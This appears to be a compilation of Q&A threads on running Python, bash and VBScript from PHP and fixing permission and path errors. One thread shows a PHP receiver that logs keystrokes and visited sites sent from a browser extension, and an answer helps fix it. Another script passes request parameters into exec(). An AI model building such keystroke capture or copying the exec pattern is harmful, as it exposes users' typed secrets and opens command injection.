I have this PHP script:
<?php
if($_GET["name"] != null && $_GET["name"] != ""){
$name = urlencode($_GET["name"]);
$name = htmlentities($name);
$title = urlencode($_GET["title"]);
$title = htmlentities($title);
$art = urlencode($_GET["art"]);
$art = htmlentities($art);
$output = array();
exec("python add.py $name $title $art",$output);
}
?>
and here's the add.py file:
import sys
import sqlite3
name = sys.argv[1]
title = sys.argv[2]
art = sys.argv[3]
tup = (name,title,art)
conn = sqlite3.connect('arts.db')
c = conn.cursor()
c.execute('CREATE TABLE IF NOT EXISTS arts(name,title,art)')
c.execute('INSERT INTO arts VALUES(?,?,?)',tup)
conn.commit()
conn.close()
When the file runs there is no arts.db file in my current directory. Not only that, when I debugged my program by adding print statements every here and there I realised that my program runs till conn = sqlite3.connect('arts.db') and then exits before the statement is executed.
There is no error in my program because I used the python editor in the terminal (I use Ubuntu) and then I could execute this program successfully but this doesn't happen when I execute this from the PHP script.
If you're trying to reference an existing arts.db file, which is not in the current directory when the PHP script runs, then it's probably easiest to refer to the file by its full path, i.e. change the line...
conn = sqlite3.connect('arts.db')
...to something like...
conn = sqlite3.connect('/the/full/path/to/arts.db')
If you're trying to create a new arts.db, it's highly probable that the webserver process doesn't have permission to create the file in the current directory when the PHP script runs.
It's probably safer not to give PHP permission to write to the directory containing the PHP script[s], so create a directory somewhere else to store the file, give it the appropriate permissions, and use the full path to that directory in the script.
Update
i have figured out that i dont have permissions to write hence i
created a db using another program and created a table in it but still
for inserting values into it i require permissions, can you tell me
how to do that?
Problem is that any process spawned by the PHP script will inherit the permissions from the parent process, and will have the same limitations.
On recent versions of Ubuntu, the /var/tmp directory can always be written to by any user, so you could put it there with...
conn = sqlite3.connect('/var/tmp/arts.db')
...or you can put it anywhere else by modifying the permissions, with...
$ sudo chgrp www-data /the/full/path/to/directory
$ sudo chmod g+ws /the/full/path/to/directory
Of course, this means there's not much point in using a seprate Python script, so you may as well do it all in PHP.
Related
Could you please tell me how to change Apache ownership in Windows if you guys know, since I cannot create txt files using PHP without permission. According to my issue, I need to be able to authorise a file to be made.
What I am trying to do is create a script that records keystrokes in the Firefox extension section. This script will send the data to an Apache PHP file and store it in a text file. I would appreciate your response if you could.
<?php
session_start();
if (!isset($_POST['key'])) {
echo ("Didn't received any new KEY strokes Yet!");
exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_log = fopen("key.txt","a+");
if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
$_SESSION['site'] = $_POST['site'];
fwrite($file_log, "| site : ".$_POST['site']." | ");
}
fwrite($file_log,$_POST['key']);
fclose($file_log);
echo("text saved successfully");
It looks like you are not defining a full path for the file.
Depending on where php is running just calling fopen("key.txt","a+") might default to the root directory.
When creating/modifying files you should specify the full path to the file
fopen("/var/www/mydir/example/path/key.txt","a+")
I am trying to create a server within my Android phone. I am unable to execute any shell script from my PHP code.
Here's the code:
//index.php
<?php
$output=shell_exec("sdcard/htdocs/myscript.sh 2>&1");
if(!$output){
echo "Failed";
}else{
echo $output;
}
?>
//myscript.sh
cd sdcard/htdocs/images
ls -t1 | head -n 1
The script works fine within terminal emulator. I also tried changing permissions of the script file but that didn't work. I don't know if it requires superuser permissions to execute shell scripts within PHP code.
The whole code is used to return the filename of the last file created in the images directory.
Need suggestions to make this code work.Is there any other way to perform the required job?
Make sure what you have run
chmod a+x sdcard/htdocs/myscript.sh
on your file.
Also $output is not a boolean.
Your code looks fine. Superuser permission is not necessary for script execution. You should turn on PHP error output or check the PHP error log file. I bet you find the reason there. If not, recheck the directory, and file permissions:
./index.php
./sdcard/htdocs/myscript.sh
./sdcard/htdocs/images
sdcard and sdcard/htdocs require executable persmissions. sdcard/htdocs/images requires executable and read permission (ls in myscript.sh), and so does sdcard/htdocs/myscript.sh. But I guess it's something else because permission errors should be displayed (2>&1).
Edit
You can find the last modified file with PHP, no need to run another process. Take one of these two:
$images = glob('sdcard/htdocs/images/*');
$images = array_combine(array_map('filemtime', $images), $images);
asort($images);
echo $lastModifiedImage = end($images);
Or with some fewer array operations:
$images = glob('sdcard/htdocs/images/*');
array_reduce($images, function($previous, $element) use (&$found) {
$mtime = filemtime($element);
$found = $previous < $mtime ? $found : $element;
return $previous < $mtime ? $mtime : $previous;
}, 0);
echo $found;
sdcard and sdcard/htdocs require executable persmissions. sdcard/htdocs/images requires executable and read permission (ls in myscript.sh), and so does sdcard/htdocs/myscript.sh. But I guess it's something else because permission errors should be displayed (2>&1).
Probably FAT !
I am having a weird problem. This is a 3 step scenario.
I have a code which downloads video on my ftp directory from Youtube from a given Youtube URL
So I have a code which issues the background command to bash script which downloads the heavy videos in background (on ftp directory)
Now, when the download is completed, the bash script will call a PHP file which updates an entry in a WordPress.
The problem
The video downloads fine on my ftp directory. And the bash script also works fine until calling my PHP file for updating db entry.
Here is my bash script code
#!/bin/bash
wget -o $1 --output-document=$2 $3 &
wait
/usr/bin/php ../cron/vids_pending_download.php $4
exit
This script is working fine and calls the PHP file which has this code.
require('../../wp-config.php');
require('../inc/inc_config.php');
$vid_key = trim($argv[1]);
#$vid_key = '123_video_key';
$sql_get_vids = "SELECT vid_id, vid_name, file_size, vid_usr FROM " . $wpdb->prefix . "video_table WHERE vid_name = '".$vid_key."' ";
$vid_info = $wpdb->get_row($sql_get_vids);
if ($vid_info != null) {
echo 'video found';
} else {
echo 'video not found';
}
Now the problem is, if I supply a fixed $vid_key to my sql, it works perfect. But if I bring the $vid_key from the array from bash, it brings empty result set. However if I print the sql and paste in phpMyAdmin, it brings the record fine which means the record is there.
Looking for help. Thanks everyone.
The problem is solved. The reason was the bash script was coming too fast in return and look for the next file. While it was doing that, the actual code which is inserting into db wasn't executed. So therefore the record for the return file was not available.
This issue was happening from the actual file which submits the command to bash file.
Thanks again to all for your help
I have a classic ASP page that needs to access a file generated via a PHP script. Is it possible to call the PHP script somehow, from within VBScript?
And before anyone asks, I do not have the time to port either script. They are both very complex and I only need a short term solution at this time.
Now the below is not generating errors, but the file is not being generated. I'm ready to give up.
str = "D:\TTnav_Alpha\Alpha\Framework\EnvMgr\generate_jira_list.php"
Set objShell = CreateObject("WScript.Shell")
'response.write(str)
objShell.Run """C:\Program Files (x86)\PHP\php.exe"" " & str ,3,true
Set objShell = Nothing
My .vbs code successfully calls a script in .php file.
In my .vbs file I have this:
set wshell = CreateObject("WScript.Shell")
wshell.Run "C:\xampp\php\php.exe -f C:\Temp\test2.php"
set wshell = nothing
Double quotes must enclose the path if there are spaces within the path, e.g.:
set wshell = CreateObject("WScript.Shell")
wshell.Run """C:\my xampp dir\php\php.exe"" " & "-f C:\Temp\test2.php"
set wshell = nothing
Just invoke WScript.Shell as explained at How do I execute a DOS command / batch file / exe from ASP?
<%
' Untested
set wshell = CreateObject("WScript.Shell")
wshell.run "c:\dos\php c:\site\script.php"
set wshell = nothing
%>
Edit: You are now trying to execute this:
C:\Program Files (x86)\PHP\php.exeD:\TTnav_Alpha\Alpha\Framework\EnvMgr\generate_jira_list.php
This is an invalid command (if you copy it to a command prompt, it won't run). You need to quote the paths with spaces and separate the command from the argument:
"C:\Program Files (x86)\PHP\php.exe" D:\TTnav_Alpha\Alpha\Framework\EnvMgr\generate_jira_list.php
In VBScript you escape quotes doubling them so you want:
objShell.Run """C:\Program Files (x86)\PHP\php.exe"" " & str,3,false
By the way, that 3 means Activates the window and displays it as a maximized window. Don't forget to remove it before going live.
Ref: Run Method (Windows Script Host)
I am trying to make a PHP program triggered by a web submit tell a bash script to run with a single command line parameter. I am using the shflags command line parser for bash.
The pertinent part of the PHP script is as follows:
// generate unique filename
$destinationFolder = Mage::getBaseDir('media') . DS . 'webforms' . DS . 'xml';
$filename = $destinationFolder . DS . $result->getId().'.xml';
// create folder
if (!(#is_dir($destinationFolder) || #mkdir($destinationFolder, 0777, true))) {
throw new Exception("Unable to create directory '{$destinationFolder}'.");
}
// export to file
$xmlObject->getNode()->asNiceXml($filename);
// define parameters to pass
exec ( '/opt/bitnami/apache2/htdocs/sfb/scripts/xform.sh --xmlfile'.' '.$filename);
}
}
?>
The bash script (xform.sh) (just a test script) is as follows.
#!/bin/bash
. ./shflags
echo "foo" >> /opt/bitnami/apache2/htdocs/sfb/scripts/seeds/xform/$$".txt"
echo "foo" >> /opt/bitnami/apache2/htdocs/sfb/scripts/seeds/xform/foo.txt
DEFINE_string 'xmlfilename' 'test' 'filename of current x.xml file from webforms' 'Z'
FLAGS "$#" || exit 1
eval set -- "${FLAGS_argv}"
echo "xml file was" ${FLAGS_xmlfilename} >> /opt/bitnami/apache2/htdocs/sfb/scripts/seeds/xform/foo.txt
The bash script works correctly from the command line, i.e.
$xform.sh --xmlfilename 1.xml
writes "xml file was 1.xml" to the foo.txt file.
When the PHP script is triggered from the web, the first part works correctly, i.e. it writes "foo" to the two target files, foo.txt and $$.txt. However, the xmlfilename variable is not coming along, and I really need that file name to be passed to the command line! (Note I should not need to use escapeshellarg because the file name is generated by my PHP program, not by user input.)
I have checked all the file permissions I can think of. xform.sh and shflags are both members of the www-data (Apache) group, owned by Apache, and a+x.
My suspicions are that the problem is related either to a) my PHP exec syntax or b) file permissions. Everything works as intended except the bit after xform.sh in this line!
exec ( '/opt/bitnami/apache2/htdocs/sfb/scripts/xform.sh --xmlfile'.' '.$filename);
UPDATE:
I've narrowed the problem some more by isolating the problem with some test code. With:
$script="echo";
$xmlfilename="$filename";
$target=">> /opt/bitnami/apache2/htdocs/sfb/scripts/seeds/xform/foo.txt";
exec ("$script $xmlfilename $target");
...
PHP correctly writes the $filename to foo.txt, so $script works when value is "echo" and $filename works too.
When I set $script to a different simple form of the xform script that (only) writes the data to the file, that also works correctly.
So the problem is specifically with something that happen when PHP tries to write the $filename as a command line variable. Does a script run by Apache need more permissions than usual if it includes a command line variable?
Sigh.
In your exec() call you have the flag as --xmlfile but you are calling it from the command line as --xmlfilename